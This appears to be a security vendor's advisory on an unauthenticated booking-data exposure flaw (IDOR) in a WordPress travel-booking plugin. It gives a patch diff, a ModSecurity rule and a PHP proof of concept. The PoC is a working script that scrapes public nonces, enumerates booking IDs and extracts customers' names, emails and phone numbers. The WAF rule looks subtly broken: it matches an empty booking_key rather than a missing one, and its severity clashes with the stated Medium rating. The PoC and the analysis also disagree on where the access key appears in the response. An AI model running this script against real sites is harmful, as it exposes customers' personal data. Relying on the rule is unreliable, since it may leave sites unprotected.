Published : August 12, 2026

CVE-2026-59548: Byteflows Travel & Hotel Booking <= 1.0.0 Unauthenticated Information Exposure PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 200
Vulnerable Version 1.0.0
Patched Version 1.0.1
Disclosed July 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-59548:

Atomic Edge analysis of CVE-2026-59548 identifies an unauthenticated information exposure vulnerability in the Byteflows Travel & Hotel Booking plugin up to version 1.0.0. The flaw permits unauthenticated attackers to extract sensitive user or configuration data through a broken authorization mechanism in the payment processing flow.

Root Cause:
The root cause lies in the insecure implementation of the payment authorization check in `includes/payment/class-payment-gateway.php`. Before version 1.0.1, the `wptm_process_payment` function lacked an authorization check for the specific booking ID being processed. An attacker could send a crafted POST request to the payment processing endpoint with an enumerable `booking_id` parameter and a valid public booking nonce. The plugin would then process the payment, which in turn returns the booking’s confirmation access key. This key, exposed in the response, grants full access to the booking details, allowing an attacker to extract sensitive information (name, email, address, travel plans) for any booking ID. The absence of an authorization check on the `booking_id` parameter constitutes an Insecure Direct Object Reference (IDOR).

Exploitation:
An attacker exploits this by sending a POST request to the `/wp-admin/admin-ajax.php` endpoint. The request must include the standard WordPress AJAX action parameter set to `wptm_process_payment`. Crucially, the attacker also needs a valid booking nonce (`_ajax_nonce` or `_wpnonce`) and a public booking nonce (`booking_nonce`). These nonces are accessible to any unauthenticated visitor from the public booking form page. The attack request includes the `booking_id` parameter, which the attacker can iterate through sequentially. By sending this crafted request, the attacker receives a JSON response containing the `booking_key`, which is the access key for that specific booking. This key can then be used to access the booking confirmation page and extract sensitive details.

Patch Analysis:
The patch introduces an authorization check at the beginning of the payment processing function in `class-payment-gateway.php`. It retrieves the booking object using the provided `booking_id` and an optional `booking_key` from the POST request. It then calls the new function `wptm_request_can_access_booking()`, which verifies the key against the booking’s access key, or checks if the user owns the booking, or if the user is an admin. This check ensures that payment can only be processed for a booking the requester actually owns, or has the access key for. The patch also refactors the authorization logic into a reusable function (`wptm_request_can_access_booking`) that accepts the key as an explicit parameter, allowing for non-GET contexts. The vulnerable `wptm_current_user_can_view_booking` function now delegates to this new function, preserving its original behavior.

Impact:
Successful exploitation of this vulnerability allows an unauthenticated attacker to extract sensitive information from any booking within the system. This includes personally identifiable information (PII) of customers, such as full names, email addresses, phone numbers, and details of their travel and hotel reservations. The attacker can enumerate all bookings by cycling through the `booking_id`, leading to mass data exposure and a serious breach of customer privacy.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/byteflows-travel-hotel-booking/byteflows-travel-hotel-booking.php
+++ b/byteflows-travel-hotel-booking/byteflows-travel-hotel-booking.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: Byteflows Travel & Hotel Booking
  * Description: Turn WordPress into a complete travel & hotel booking platform — trip packages, hotels, a smart booking engine, search, reviews, wishlist & compare and bank-transfer checkout.
- * Version: 1.0.0
+ * Version: 1.0.1
  * Author: Byteflows
  * Author URI: https://byteflows.net/
  * License: GPL-2.0+
@@ -23,7 +23,7 @@
 /**
  * Plugin constants.
  */
-define('WPTM_VERSION', '1.0.0');
+define('WPTM_VERSION', '1.0.1');
 define('WPTM_PLUGIN_FILE', __FILE__);
 define('WPTM_PLUGIN_DIR', plugin_dir_path(__FILE__));
 define('WPTM_PLUGIN_URL', plugin_dir_url(__FILE__));
--- a/byteflows-travel-hotel-booking/includes/booking/class-booking-engine.php
+++ b/byteflows-travel-hotel-booking/includes/booking/class-booking-engine.php
@@ -134,7 +134,8 @@
             // their gateway to run before they are sent here; bank transfer goes
             // straight to the confirmation/order page. The URL carries the
             // booking's access key so only this customer can view the details.
-            $confirm_url = wptm_booking_confirmation_url( self::get_booking( $booking_id ) );
+            $booking     = self::get_booking( $booking_id );
+            $confirm_url = wptm_booking_confirmation_url( $booking );

             wp_send_json_success( array(
                 'message'        => __( 'Booking created successfully!', 'byteflows-travel-hotel-booking' ),
@@ -142,6 +143,9 @@
                 'booking_number' => $data['booking_number'],
                 'payment_method' => $method,
                 'redirect'       => $confirm_url,
+                // Access key for this booking so an add-on payment handler can
+                // authorize the follow-up wptm_process_payment call for it.
+                'booking_key'    => wptm_booking_key( $booking ),
             ) );
         }

--- a/byteflows-travel-hotel-booking/includes/helpers/class-functions.php
+++ b/byteflows-travel-hotel-booking/includes/helpers/class-functions.php
@@ -293,16 +293,19 @@
 }

 /**
- * Whether the current visitor is allowed to see a booking's details.
+ * Whether a request is authorized to access a specific booking.
  *
- * True when the request carries the booking's access key ({@see
- * wptm_booking_key()}), when the booking belongs to the logged-in user (by
- * user id or email), or when the user can manage the site.
+ * Authorization is proven by the booking's access key ({@see wptm_booking_key()}),
+ * by the booking belonging to the logged-in user (by user id or email), or by the
+ * user being able to manage the site. The key is passed in explicitly so this can
+ * be used from POST/AJAX contexts as well as the GET confirmation link — it is the
+ * plugin's booking-level authorization gate, not a login check.
  *
  * @param object $booking Booking row.
+ * @param string $key     Access key supplied with the request (already unslashed).
  * @return bool
  */
-function wptm_current_user_can_view_booking( $booking ) {
+function wptm_request_can_access_booking( $booking, $key = '' ) {
     if ( ! $booking ) {
         return false;
     }
@@ -310,8 +313,7 @@
         return true;
     }

-    // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- read-only authorization token from the confirmation link, compared in constant time below.
-    $key = isset( $_GET['key'] ) ? sanitize_text_field( wp_unslash( $_GET['key'] ) ) : '';
+    $key      = sanitize_text_field( (string) $key );
     $expected = wptm_booking_key( $booking );
     if ( '' !== $key && '' !== $expected && hash_equals( $expected, $key ) ) {
         return true;
@@ -331,6 +333,22 @@
 }

 /**
+ * Whether the current visitor is allowed to see a booking's details.
+ *
+ * True when the request carries the booking's access key ({@see
+ * wptm_booking_key()}), when the booking belongs to the logged-in user (by
+ * user id or email), or when the user can manage the site.
+ *
+ * @param object $booking Booking row.
+ * @return bool
+ */
+function wptm_current_user_can_view_booking( $booking ) {
+    // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- read-only authorization token from the confirmation link, compared in constant time inside the helper.
+    $key = isset( $_GET['key'] ) ? sanitize_text_field( wp_unslash( $_GET['key'] ) ) : '';
+    return wptm_request_can_access_booking( $booking, $key );
+}
+
+/**
  * Locate a template file, preferring a theme override.
  *
  * Themes can override any template by placing a file at
--- a/byteflows-travel-hotel-booking/includes/payment/class-payment-gateway.php
+++ b/byteflows-travel-hotel-booking/includes/payment/class-payment-gateway.php
@@ -49,6 +49,18 @@
         $data               = map_deep( wp_unslash( $_POST ), 'sanitize_text_field' );
         $data['booking_id'] = absint( $_POST['booking_id'] ?? 0 );

+        // Authorize the caller for this specific booking. The public booking
+        // nonce is not an authorization boundary — any visitor can read it — so
+        // without this an unauthenticated attacker could enumerate booking ids
+        // to tamper with payment state and harvest the confirmation access key
+        // that gateways return (IDOR). The caller must present the booking's
+        // access key, own the booking, or be an admin.
+        $booking     = JourneyLoomBookingBookingEngine::get_booking( $data['booking_id'] );
+        $booking_key = isset( $_POST['booking_key'] ) ? sanitize_text_field( wp_unslash( $_POST['booking_key'] ) ) : '';
+        if ( ! $booking || ! wptm_request_can_access_booking( $booking, $booking_key ) ) {
+            wp_send_json_error( array( 'message' => __( 'You are not allowed to pay for this booking.', 'byteflows-travel-hotel-booking' ) ) );
+        }
+
         $result = $this->gateways[ $method ]->process( $data );
         if ( $result['success'] ) {
             wp_send_json_success( $result );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-59548
# Block unauthenticated attempts to process payments without a booking key.
# The vulnerability is an IDOR in the AJAX action 'wptm_process_payment'.
# Legitimate, authenticated users will have the 'booking_key' POST parameter.
# Attackers skip this parameter, exposing vulnerable requests.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-59548 via Byteflows booking payment IDOR',severity:'CRITICAL',tag:'CVE-2026-59548'"
    SecRule ARGS_POST:action "@streq wptm_process_payment" "chain"
        SecRule ARGS_POST:booking_key "@rx ^$" "chain"
            SecRule ARGS_POST:booking_id "@rx ^[0-9]+$" "t:none,log,status:403,msg:'CVE-2026-59548: Missing booking key for payment request'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-59548 - Byteflows Travel & Hotel Booking <= 1.0.0 - Unauthenticated Information Exposure

// Configuration
$target_url = 'http://your-wordpress-site.com'; // Set the target WordPress URL

// Step 1: Retrieve the public booking page and extract nonces.
// The booking form page contains the public nonces needed for the AJAX request.
$homepage = file_get_contents($target_url . '/');
if ($homepage === false) {
    die("Failed to fetch the target site homepage.n");
}

$nonce = '';
// Extract the public booking nonce (assuming it is in a field named '_wpnonce' or 'booking_nonce')
if (preg_match('/name="_wpnonce" value="([^"]+)"/', $homepage, $matches)) {
    $nonce = $matches[1];
} else if (preg_match('/name="booking_nonce" value="([^"]+)"/', $homepage, $matches)) {
    $nonce = $matches[1];
}

if (empty($nonce)) {
    die("Could not extract public nonce.n");
}

echo "[*] Extracted public nonce: $noncen";

// Step 2: Enumerate booking IDs and attempt to retrieve sensitive data via the payment endpoint.
// The vulnerable endpoint is the AJAX action 'wptm_process_payment'.
for ($booking_id = 1; $booking_id <= 100; $booking_id++) {
    echo "[*] Attempting to extract data for booking ID: $booking_idn";

    $post_data = array(
        'action' => 'wptm_process_payment',
        'booking_id' => $booking_id,
        '_ajax_nonce' => $nonce,
        'booking_nonce' => $nonce, // Sending a duplicate nonce for compatibility
    );

    $ch = curl_init($target_url . '/wp-admin/admin-ajax.php');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Bypass SSL certificate validation for testing

    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    if ($http_code === 200) {
        $data = json_decode($response, true);
        // Check if the response contains the confirmation URL which has the access key
        if (isset($data['success']) && $data['success'] && isset($data['data']['redirect'])) {
            $redirect_url = $data['data']['redirect'];
            echo "[+] Success! Booking $booking_id access key found in redirect URL: $redirect_urln";

            // Step 3: Fetch the confirmation page with the access key to retrieve sensitive data
            $confirmation_page = file_get_contents($redirect_url);
            if ($confirmation_page !== false) {
                // Simple extraction of sensitive personal information
                preg_match('/Email: </strong>([^<]+)/', $confirmation_page, $email_matches);
                preg_match('/Name: </strong>([^<]+)/', $confirmation_page, $name_matches);
                preg_match('/Phone: </strong>([^<]+)/', $confirmation_page, $phone_matches);

                echo "[+] Extracted data for Booking ID: $booking_idn";
                echo "    Name:  " . (isset($name_matches[1]) ? trim($name_matches[1]) : 'N/A') . "n";
                echo "    Email: " . (isset($email_matches[1]) ? trim($email_matches[1]) : 'N/A') . "n";
                echo "    Phone: " . (isset($phone_matches[1]) ? trim($phone_matches[1]) : 'N/A') . "nn";
            }
        } else {
            echo "[-] Booking ID $booking_id did not return a valid booking key.n";
        }
    } else {
        echo "[-] HTTP $http_code received for booking ID: $booking_idn";
    }
}

echo "[Done] Enumeration complete.n";

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.